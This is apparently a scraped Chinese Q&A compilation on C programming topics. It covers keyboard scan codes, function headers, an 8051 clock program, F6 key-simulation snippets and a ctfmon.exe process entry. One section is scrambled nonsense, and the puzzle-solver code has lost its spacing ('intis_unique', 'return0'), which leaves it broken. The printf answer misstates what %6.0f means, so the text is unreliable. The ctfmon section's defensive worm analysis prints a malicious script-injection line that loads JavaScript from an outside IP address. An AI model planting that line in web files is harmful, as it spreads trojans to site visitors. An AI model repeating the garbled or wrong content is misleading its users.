c语言f6
‘壹’ 求c语言中各键值
键盘扫描码
[编辑本段]定义
键盘上的每一个键都有两个唯一的数值进行标志。为什么要用两个数值而不是一个数值呢？这是因为一个键可以被按下，也可以被释放。当一个键按下时，它们产生一个唯一的数值，当一个键被释放时，它也会产生一个唯一的数值，我们把这些数值都保存在一张表里面，到时候通过查表就可以知道是哪一个键被敲击，并且可以知道是它是被按下还是被释放了。这些数值在系统中被称为键盘扫描码
[编辑本段]扫描码大全
扫描码 键
0x011b ESC
0x3b00 F1
0x3c00 F2
0x3d00 F3
0x3e00 F4
0x3f00 F5
0x4000 F6
0x4100 F7
0x4200 F8
0x4300 F9
0x4400 F10
主键盘区:
0x2960 ~
0x0231 1
0x0332 2
0x0433 3
0x0534 4
0x0635 5
0x0736 6
0x0837 7
0x0938 8
0x0a39 9
0x0b30 0
0x0c2d -
0x0d3d =
0x2b5c \
0x0e08 退格键
0x0f09 Tab
0x1071 q
0x1177 w
0x1265 e
0x1372 r
0x1474 t
0x1579 y
0x1675 u
0x1769 i
0x186f o
0x1970 p
0x1a5b [
0x1b5d ]
0x1e61 a
0x1f73 s
0x2064 d
0x2166 f
0x2267 g
0x2368 h
0x246a j
0x256b k
0x266c l
0x273b ;
0x2827 '
0x1c0d 回车
0x2c7a z
0x2d78 x
0x2e63 c
0x2f76 v
0x3062 b
0x316e n
0x326d m
0x332c ,
0x342e .
0x352f /
0x3920 空格键
0xe05b 左Win
0xe05c 右Win
0xe05d Menu
右边数字键盘:
0x5200 Insert
0x4700 Home
0x4900 Page UP
0x5300 Delete
0x4f00 End
0x5100 PageDown
0x4800 上箭头
0x4b00 左箭头
0x5000 下箭头
0x4d00 右箭头
0x352f /
0x372a *
0x4a2d - (注意,这是数字键盘的)
0x4737 7
0x4838 8
0x4939 9
0x4b34 4
0x4c35 5
0x4d36 6
0x4e2b +
0x4f31 1
0x5032 2
0x5133 3
0x5230 0
0x532e Del
‘贰’ c语言的函数头
在一个函数定义中，函数体之前的所有部分称为函数头，它给出了该函数的返回类型、每个参数的次序和类型等函数原型信息，所以当没有专门给出函数原型说明语句时，系统就从函数头中获取函数原型信息。
一个函数的原型语句就是其函数头的一个拷贝，当然要在最后加上语句接上结束符分号。函数原型语句与函数头也有细微的差别，在函数原型语句中，其参数表中的每个参数允许只保留参数类型，而省略参数名，并且若使用参数名也允许与函数头中对应的参数名不同。
全文如下:
一)、定义格式
<类型名> <函数名> ([<参数表>]) <函数体>
<类型名>为系统或用户已定义的一种数据类型，它是函数执行过程中通过return语句要求返回的值的类型，又称为该函数的类型。当一个函数不需要通过return语句返回一个值时，称为无返回值函数或无类型函数，此时需要使用保留字void作为类型名。当类型名为int时，可以省略不写，但为了清楚起见，还是写明为好。
<函数名>是用户为函数所起的名字，它是一个标识符，应符合C++标识符的一般命名规则，用户通过使用这个函数名和实参表可以调用该函数。
<参数表>又称形式参数表，它包含有任意多个（含0个，即没有）参数说明项，当多于一个时其前后两个参数说明项之间必须用逗号分开。每个参数说明项由一种已定义的数据类型和一个变量标识符组成，该变量标识符成为该函数的形式参数，简称形参，形参前面给出的数据类型称为该形参的类型。一个函数定义中的<参数表>可以被省略，表明该函数为无参函数，若<参数表>用void取代，则也表明是无参函数，若<参数表>不为空，同时又不是保留字void，则称为带参函数。
<函数体>是一条复合语句，它以左花括号开始，到右花括号结束，中间为一条或若干条C++语句。
在一个函数的参数表中，每个参数可以为任一种数据类型，包括普通类型、指针类型、数组类型、引用类型等，一个函数的返回值可以是除数组类型之外的任何类型，包括普通类型、指针类型和引用类型等。另外，当不需要返回值时，应把函数定义为void类型。
二)、定义格式举例
(1) void f1() {...}
(2) void f2(int x) {...}
(3) int f3(int x,int* p) {...}
(4) char* f4(char a[]){...}
(5) int f5(int& x,double d) {...}
(6) int& f6(int b[10], int n) {...}
(7) void f7(float c[][N], int m, float& max) {...}
(8) bool f8(ElemType*& bt, ElemType& item) {...}
在第一条函数定义中，函数名为f1，函数类型为void，参数表为空，此函数是一个无参无类型函数。若在f1后面的圆括号内写入保留字void，也表示为无参函数。
在第二条函数定义中，仅带有一个类型为int的形参变量x，该函数没有返回值。
在第三条函数定义中，函数名为f3，函数类型为int，函数参数为x和p，其中x为int型普通参数，p为int*型指针参数。
在第四条函数定义中，函数名为f4，函数类型为char*，即字符指针类型，参数表中包含一个一维字符数组参数。注意：在定义任何类型的一维数组参数时，不需要给出维的尺寸，当然给出也是允许的，但没有任何意义。
在第五条函数定义中，函数名为f5，返回类型为int，该函数带有两个形参，一个为 整型引用变量x，另一个为双精度变量d。
在第六条函数定义中，函数名为f6，函数类型为int&，即整型引用，该函数带有两个形参，一个是整型数组b，另一个是整型变量n。在这里定义形参数组b所给出的维的尺寸10可以被省略。
在第七条函数定义中，函数名为f7，无函数类型，参数表中包含三个参数，一个为二维单精度型数组c，第二个为整型变量m，第三个为单精度引用变量max。注意：当定义一个二维数组参数时，第二维的尺寸必须给出，并且必须是一个常量表达式，第一维尺寸可给出也可不给出，其作用相同。
在第八条函数定义中，函数名为f8，返回类型为bool，即逻辑类型，该函数带有两个参数，一个为形参bt，它为ElemType的指针引用类型，另一个为形参item，它是ElemType的引用类型，其中ElemType为一种用户定义的类型或是通过typedef语句定义的一个类型的别名。
三)、有关函数定义的几点说明
1. 函数原型语句
在一个函数定义中，函数体之前的所有部分称为函数头，它给出了该函数的返回类型、每个参数的次序和类型等函数原型信息，所以当没有专门给出函数原型说明语句时，系统就从函数头中获取函数原型信息。
一个函数必须先定义或声明而后才能被调用，否则编译程序无法判断该调用的正确性。一个函数的声明是通过使用一条函数原型语句实现的，当然使用多条相同的原型语句声明同一个函数虽然多余但也是允许的，编译时不会出现错误。
在一个完整的程序中，函数的定义和函数的调用可以在同一个程序文件中，也可以处在不同的程序文件中，但必须确保函数原型语句与函数调用表达式出现在同一个文件中，并且函数原型语句出现在前，函数的调用出现在后。
通常把一个程序中用户定义的所有函数的原型语句组织在一起，构成一个头文件，让该程序中所含的每个程序文件的开始（即所有函数定义之前）包含这个头文件（通过#include命令实现），这样不管每个函数的定义在哪里出现，都能够确保函数先声明后使用（即调用）这一原则的实现。
一个函数的原型语句就是其函数头的一个拷贝，当然要在最后加上语句接上结束符分号。函数原型语句与函数头也有细微的差别，在函数原型语句中，其参数表中的每个参数允许只保留参数类型，而省略参数名，并且若使用参数名也允许与函数头中对应的参数名不同。
2. 常量形参
在定义一个函数时，若只允许函数体访问一个形参的值，不允许修改它的值，则应把该形参说明为常量，这只要在形参说明的前面加上const保留字进行修饰即可。如：
void f9(const int& x, const char& y);
void f10(const char* p, char key);
在函数f9的函数体中只允许使用x和y的值，不允许修改它们的值。在函数f10的函数体中只允许使用p所指向的字符对象或字符数组对象的值，不允许修改它们的值，但在函数体中既允许使用也允许修改形参key的值。
3. 缺省参数
在一个函数定义中，可根据需要对参数表末尾的一个或连续若干个参数给出缺省值，当调用这个函数时，若实参表中没有给出对应的实参，则形参将采用这个缺省值。如：
void f11(int x, int y=0) {...}
int f12(int a[], char op='+', int k=10) {...}
函数f11的定义带有两个参数，分别为整型变量x和y，并且y带有缺省值0，若调用该函数的表达式为f11(a,b)，将把a的值赋给x，把b的值赋给y，接着执行函数体；若调用该函数的表达式为f11(a+b)，则也是正确的调用格式，它将把a+b的值赋给x，因y没有对应的实参，将采用缺省值0，参数传送后接着执行函数体。
函数f12的定义带有三个参数，其中后两个带有缺省值，所以调用它的函数格式有三种，一种只带一个实参，用于向形参a传送数据，后两个形参采用缺省值，第二种带有两个实参，用于分别向形参a和op传送数据，第三个形参采用缺省值，第三种带有三个实参，分别用于传送给三个形参。
若一个函数带有专门的函数原型语句，则形参的缺省值只能在该函数原型语句中给出，不允许在函数头中给出。如对于上述的f11和f12函数，其对应的函数原型语句分别为：
void f11(int x, int y=0);
int f12(int a[], char op='+', int k=10);
函数定义应分别改写为：
void f11(int x, int y) {...}
int f12(int a[], char op, int k) {...}
4. 数组参数
在函数定义中的每个数组参数实际上是指向元素类型的指针参数。对于一维数组参数说明：
<数据类型> <数组名>[]
它与下面的指针参数说明完全等价：
<数据类型> *<指针变量名>
其中<指针变量名>就是数组参数说明中的<数组名>。如对于f12函数定义中的数组参数说明int a[]，等价于指针参数说明int* a。也就是说，数组参数说明中的数组名a是一个类型为int*的形参。注意：在变量定义语句中定义的数组，其数组名代表的是一个数组，它的值是指向第一个元素的指针常量，这与数组形参的含义有区别。
对于二维数组参数说明：
<数据类型> <参数名>[][<第二维尺寸>]
它与下面的指针参数说明完全等价：
<数据类型> (*<参数名>)[<第二维尺寸>]
如对于f7函数定义中的二维数组参数说明float c[][N]，等价于指针参数说明float(*c)[N]。
5. 函数类型
当调用一个函数时就执行一遍循环体，对于类型为非void的函数，函数体中至少必须带有一条return语句，并且每条return语句必须带有一个表达式，当执行到任一条return语句时，将计算出它的表达式的值，结束整个函数的调用过程，把这个值作为所求的函数值带回到调用位置，参与相应的运算；对于类型为void的函数，它不需要返回任何函数值，所以在函数体中既可以使用return语句，也可以不使用，对于使用的每条return语句不允许也不需要带有表达式，当执行到任一条return语句时，或执行到函数体最后结束位置时，将结束函数的调用过程，返回到调用位置向下继续执行。
6. 内联函数
当在一个函数的定义或声明前加上关键字inline则就把该函数声明为内联函数。计算机在执行一般函数的调用时，无论该函数多么简单或复杂，都要经过参数传递、执行函数体和返回等操作。若把一个函数声明为内联函数后，在程序编译阶段系统就有可能把所有调用该函数的地方都直接替换为该函数的执行代码，由此省去函数调用时的参数传递和返回操作，从而加快整个程序的执行速度。通常可把一些相对简单的函数声明为内联函数，对于较复杂的函数则不应声明为内联函数。从用户的角度看，调用内联函数和一般函数没有任何区别。下面就是一个内联函数定义的例子，它返回形参值的立方。
inline int cube(int n)
{
return n*n*n;
}
‘叁’ c语言程序的含义
这是我以前写的一个简单的时钟程序，当时没写注释，与上面的差不多，你可以自己分析。希望你可以尽快学通！ 加油！#include<at89x51.h>
unsigned char code TABLE[]=
{ 0xFC,/*0*/
0x60,/*1*/
0xDA,/*2*/
0xF2,/*3*/
0x66,/*4*/
0xB6,/*5*/
0xBE,/*6*/
0xE0,/*7*/
0xFE,/*8*/
0xF6,/*9*/
};
unsigned char code SCAN[]={0xdf,0xef,0x7f,0xbf,0xdf,0xef};
unsigned char SEG[6];
unsigned char HOUR=12,MIN=0,SEC=0;MS50=0;
sbit K1=P3^0;
sbit K2=P3^1;
sbit K3=P3^2;
/****延时程序******/
void delay(unsigned int t)
{
unsigned char m,n;
for(m=0;m<t;m++)
for(n=0;n<100;n++)
;
}/****数码管扫描程序*****/
void scan6()
{
unsigned char a;
SEG[0]=HOUR/10;SEG[1]=HOUR%10;
SEG[2]=MIN/10;SEG[3]=MIN%10;
SEG[4]=SEC/10;SEG[5]=SEC%10;
for(a=0;a<=5;a++)
{
SEG[a]=TABLE[SEG[a]];
if(a==1|a==3|a==5)
SEG[a]=SEG[a]|0x01;
}
for(a=2;a<=5;a++)
{
P0=SEG[a];
P2=SCAN[a];
delay(1);
P2=0xff;
}
}void key()
{
if(K1==0)
{
HOUR++;
if(HOUR==24) HOUR=0;
while(K1==0) scan6();
}
if(K2==0)
{
MIN++;
if(MIN==60) MIN=0;
while(K2==0) scan6();
}
if(K3==0)
{
SEC=0;
MS50=0;
while(K3==0) scan6();
}
}
/*******主程序******/
void main()
{
EA=1;ET0=1;
TMOD=0x01;
TH0=0x3c;TL0=0xb0;
TR0=1;
while(1)
{
scan6();
key();
}
}void time(void) interrupt 1
{
TH0=0x3c;TL0=0xaf;
MS50++;
if(MS50==20)
{
MS50=0;
SEC++;
if(SEC==60)
{
SEC=0;
MIN++;
if(MIN==60)
{
MIN=0;
HOUR++;
if(HOUR==24) HOUR=0;
}
}
}
}
‘肆’ C语言代码
看你的代码，应该是想通过使用12个for循环嵌套来实现，但是这种方式效率是比较低的，13的12次方有23298085122481种方案，短时间内是看不到电脑的运行结果的。
所以我采用了另一种方法，最终算得的结果是64种方案。
#include<stdio.h>
#include"LinkedList.h"
intis_unique(int*array,intvalue,intlen)
{
inti=0,j=0;
for(i=0;i<len-1;i++)
{
for(j=i+1;j<len;j++)
{
if(array[i]==array[j])
return0;
}
}
return1;
}
intmain()
{
inti=0,j=0,m=0,n=0,k=0;
intcount[4]={0};
inttmp=0;
DataTypevalue;
inta[12]={0};//用于存放临时组合的数据
intmax_num=0;//加减乘除四种运算中,符合条件的方案数量最少的个数
LinkedList_stru*list_array[4];
LinkedList_stru*list_tmp;
LinkNode_stru*p1,*p2,*p3,*p4;
intflag=0;
inttotal=0;
/*定义链表指针，用于存放创建的链表首地址*/
LinkedList_stru*list_addition=NULL,*list_subtraction=NULL;
LinkedList_stru*list_multiplication=NULL,*list_division=NULL;
printf(" 开始玩命分析......... ");
/*分析：总共有+,-,*,÷四种运算,而且运算结果需要在1~13之间。
*所以,我们可以先把这些所有符合条件的结果求出来.
**/
/*创建链表*/
list_addition=LinkedList_Create();//+
list_subtraction=LinkedList_Create();//-
list_multiplication=LinkedList_Create();//×
list_division=LinkedList_Create();//÷
/*1.求出+运算所有符合要求的方案*/
count[0]=0;
for(i=1;i<=13;i++)
{
for(j=1;j<=13;j++)
{
tmp=i+j;
if(tmp<=13)
{
if(i==j||j==tmp||i==tmp)
{
continue;
}
else
{
value.a1=i;
value.a2=j;
value.a3=tmp;
LinkedList_Add_Tail(list_addition,value);
count[0]++;
//printf("%2d+%2d=%2d ",i,j,(i+j));
}
}
}
}
//printf("计算完毕,+运算符合条件的结果总共有%d种! ",count[0]);
/*2.求出-运算所有符合要求的方案*/
count[1]=0;
for(i=1;i<=13;i++)
{
for(j=1;j<=13;j++)
{
tmp=i-j;
if(tmp>0&&tmp<=13)
{
if(i==j||j==tmp||i==tmp)
{
continue;
}
value.a1=i;
value.a2=j;
value.a3=tmp;
LinkedList_Add_Tail(list_subtraction,value);
count[1]++;
//printf("%2d-%2d=%2d ",i,j,(i-j));
}
}
}
//printf("计算完毕,-运算符合条件的结果总共有%d种! ",count[1]);
/*3.求出×运算所有符合要求的方案*/
count[2]=0;
for(i=1;i<=13;i++)
{
for(j=1;j<=13;j++)
{
tmp=i*j;
if(tmp>0&&tmp<=13)
{
if(i==j||j==tmp||i==tmp)
{
continue;
}
value.a1=i;
value.a2=j;
value.a3=tmp;
LinkedList_Add_Tail(list_multiplication,value);
count[2]++;
//printf("%2d×%2d=%2d ",i,j,(i*j));
}
}
}
//printf("计算完毕,+运算符合条件的结果总共有%d种! ",count[2]);
/*4.求出÷运算所有符合要求的方案*/
count[3]=0;
for(i=1;i<=13;i++)
{
for(j=1;j<=13;j++)
{
tmp=i%j;
if(tmp==0)
{
if(i==j||j==(i/j)||i==(i/j))
{
continue;
}
value.a1=i;
value.a2=j;
value.a3=(i/j);
LinkedList_Add_Tail(list_division,value);
count[3]++;
//printf("%2d÷%2d=%2d ",i,j,(i/j));
}
}
}
//printf("计算完毕,÷运算符合条件的结果总共有%d种! ",count[3]);
printf("list_addition:clen=%d! ",list_addition->clen);
printf("list_subtraction:clen=%d! ",list_subtraction->clen);
printf("list_multiplication:clen=%d! ",list_multiplication->clen);
printf("list_division:clen=%d! ",list_division->clen);
list_array[0]=list_addition;
list_array[1]=list_subtraction;
list_array[2]=list_multiplication;
list_array[3]=list_division;
max_num=list_array[0]->clen;
for(i=0;i<4;i++)
{
if(max_num>=list_array[i]->clen)
{
max_num=list_array[i]->clen;
//list_tmp=num[i];
}
}
//printf("最多只能有%d种方案! ",max_num);
/*从上面的计算结果我们可以知道,最多只能有10种方案,因为乘法和除法这两种运算均只有10种方案符合条件
*所以,这里我们就基于除法去做匹配.按理说不应该这么做的,应该在代码中进行判断,但是为了节省时间,只能这样了。
**/
/*遍历链表*/
p4=list_division->pHead->pNext;
for(i=0;i<list_division->clen;i++)
{
p3=list_multiplication->pHead->pNext;
for(j=0;j<list_multiplication->clen;j++)
{
p2=list_subtraction->pHead->pNext;
for(m=0;m<list_subtraction->clen;m++)
{
p1=list_addition->pHead->pNext;
for(n=0;n<list_addition->clen;n++)
{
flag=111;
a[0]=p1->data.a1;a[1]=p1->data.a2;a[2]=p1->data.a3;
a[3]=p2->data.a1;a[4]=p2->data.a2;a[5]=p2->data.a3;
a[6]=p3->data.a1;a[7]=p3->data.a2;a[8]=p3->data.a3;
a[9]=p4->data.a1;a[10]=p4->data.a2;a[11]=p4->data.a3;
for(k=0;k<sizeof(a)/sizeof(a[0]);k++)
{
if(!is_unique(a,a[k],sizeof(a)/sizeof(a[0])))
{
flag=0;
break;
}
}
if(flag==111)
{
//printf(" ");
total++;
printf("方案%d: ",total);
printf("%2d+%2d=%2d ",a[0],a[1],a[2]);
printf("%2d-%2d=%2d ",a[3],a[4],a[5]);
printf("%2d×%2d=%2d ",a[6],a[7],a[8]);
printf("%2d÷%2d=%2d ",a[9],a[10],a[11]);
printf(" ");
}
p1=p1->pNext;
}
p2=p2->pNext;
}
p3=p3->pNext;
}
p4=p4->pNext;
}
printf("计算完毕,总共有%d种方案! ",total);
return0;
}
‘伍’ 求一C程序，运行后有按下键盘上的F6的功能。求源程序，最好是exe可执行的程序。谢谢
#include<Windows.h>
int main(){
Sleep(3000); // 运行3000ms再开始模拟按键，可以删掉
int cnt=0;
while (++cnt<100) { // 计数，100次 ，可以改
keybd_event(VK_F6, 0, 0, 0);
keybd_event(VK_F6, 0, 2, 0);
Sleep(1000); // 两次按键间隔，毫秒为单位，可以改
}
system("pause");
}
‘陆’ 字~C的名F6符不要字寻求号
看不不好电主
起
加
个后,那名
窗
的加
,听
,
我肯好聆
空
雨格
字似定名听
字看再字见
看符正,4琦水么。,
你
面要个给
,意
提提好,年
寞个
前多行
寂台面流情号
歌你
楼的
‘柒’ c\windows\system32\f6cb5\ctfmon.exe是什么
进程文件: ctfmon 或者 ctfmon.exe
进程名称: Alternative User Input Services
描述：
ctfmon.exe是Microsoft Office产品套装的一部分。它可以选择用户文字输入程序，和微软Office XP语言条。这不是纯粹的系统程序，但是如果终止它，可能会导致不可知的问题。
程序ctfmon.exe是有关输入法的一个可执行程序，系统默认情况下是随电脑开机而自动启动的。如果你设置了ctfmon.exe不随机自动启动，进入系统后你的电脑任务栏中的输入法图标（即语言栏）就不见了。
要设置ctfmon.exe随机自动启动，可以单击“开始”——>“运行”——>输入“msconfig”（引号不要输入），回车——>打开“系统配置使用程序”窗口——>选择“启动”页，找到ctfmon项并在其前面打上钩，按“应用”、“确定”，重启机器即可生效。
如果在“启动”页，找不到ctfmon项，说明注册表中已将该项删除，可以单击“开始”——>“运行”——>输入“regedit”（引号不要输入），回车——>打开“注册表编辑器”，定位到HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run，在窗口的右侧新建名字为ctfmon.exe的字符串值（REG_SZ），并将其值设置为“C:\WINDOWS\system32\ctfmon.exe”，然后关闭注册表编辑器，再执行前一步的操作即可.
出品者： Microsoft Corp.
属于： Microsoft Office Suite
系统进程： 是
后台程序： 是
使用网络： 否
硬件相关： 否
常见错误： 未知N/A
常见错误： 未知N/A
安全等级 (0-5): 0
间谍软件： 否
内存大小:3664k
广告软件： 否
病毒： 否
木马： 否
最近电脑突然卡，发现进程了多了很多个ctfmon.exe
感觉不对，马上用在线杀毒http://www.anti.cn/board/online/ 查杀
金山报毒！！！Win32.Troj.Downloader.c.45056
感染虫下载器45056 Win32.Troj.Downloader.c.45056
病毒行为:
这是一个蠕虫病毒。（蠕虫病毒比以前少了很多，但对局域网的影响会很大）
该病毒运行后,会指定的网络上下载病毒程序,并且会搜索局域网内机器,以弱口令进行尝试性连接
一旦连接成功,则判断该机器弱口令是否有足够的权限, 有则向该远程机器发送恶意数据,然后利用windows漏洞来下载程序,予以执行.
1.病毒运行后，产生以下病毒文件
%WINDIR%\ SYSTEM32\tmipo.bat
%WINDIR%\ SYSTEM32\taimpo.txt
2.添加病毒启动项
启动项名:svchost对应路径:%Documents and Settings%\Administrator\桌面\ctfmon.exe
3.病毒会触发taimpo.bat病毒文件,用来关闭"360安全卫士",使用户的安全性能降低.
4.病毒会检测连接的远程机器,当远程机器的登录木马是弱口令时,则会对该机器进行攻击,最后下载adi.vbs到用户机器上.
5.遍历磁盘，查找*.htm、*.PHP、*.ASP等网页文件，开始感染,插入一段JS代码：
script language=javascript src=http://218.**.**.248/qq.js
这段脚本病毒，可能会被用作下载更多的木马程序，利用蠕虫攻击传播，利用下载器种植木马，是目前黑客偷东西惯用的手法。
解决方案：
怕麻烦直接去下载专杀工具： http://bbs.anti.cn/forum-35-1.html
1.删除病毒生成的三个文件，可使用清理专家的文件粉碎器完成操作。
%WINDIR%\ SYSTEM32\tmipo.bat （%WINDIR%缺省是c:\windows目录）
%WINDIR%\ SYSTEM32\taimpo.txt
%Documents and Settings%\Administrator\桌面\ctfmon.exe（伪装成输入法的程序名）
2.使用金山清理专家的修复功能，将病毒添加的注册表启动项删除。
防范措施：
1.最最重要的，是给系统打补丁，登录系统一定要使用口令，就算是电脑只有自己一个人用，也需要安全的登录口令，口令不能太简单，以免被远程攻击工具猜解。（因为只要电脑接入互联网，就能给木马以机会。）
其它方案基本是相通的，不在缀述！
ctfmon.exe【样本】
文件名称：ctfmon.exe
文件大小：45,056 字节
AV命名：Win32.HLLW.Rubbish (Dr.Web v4.44);
Worm.Win32.Downloader.c (kav 7.0.0.125)
加壳方式：N/A
编写语言：Microsoft Visual C++ 6.0
病毒类型：蠕虫
文件MD5：
传播方式：网页漏洞
样本来源：剑盟 [病毒样本]
C:\Documents and Settings\Administrator\Local Settings\Temp里有三个DAT
用磁盘清扫
‘捌’ 如何用程序检测到键盘输入了某个文本，自动按下F6
在控制台输入吗?
如果控制台输入：
#include <cstdio>
#include <string>
#include <windows.h>
using namespace std;
int main() {
char inf[500];
gets(inf);
strings dat = inf;
if (dat == "快乐") keybd_event(VK_F6, 0, KEYEVENTF_EXTENDEDKEY|0, 0);
return 0;
}//C++
‘玖’ c语言的表达式是什么
leap=year%4==0&&year%100!=0||year%400==0
是给
leap
这个对象赋值,
赋的值是一个布尔型的变量year%4==0&&year%100!=0||year%400==0
可以用括号让表达式明确点
(year%4==0)
&&
(year%100!=0)
||
(year%400==0)
%是求余
意思就是
变量
year
对
对4整除但是又不对100整除
或者
对400整除
本质是求year是否为闰年...如果是闰年,则leap
=
true,否则则leap返回false
‘拾’ C语言中的|%6.0f|是啥意思
是一种输出格式：6表示保留六位有效数字，小数点后表示小数点后保留的位数，如果是0就表示小数点后没有数字。\n就是在输出前面的数字之后换行！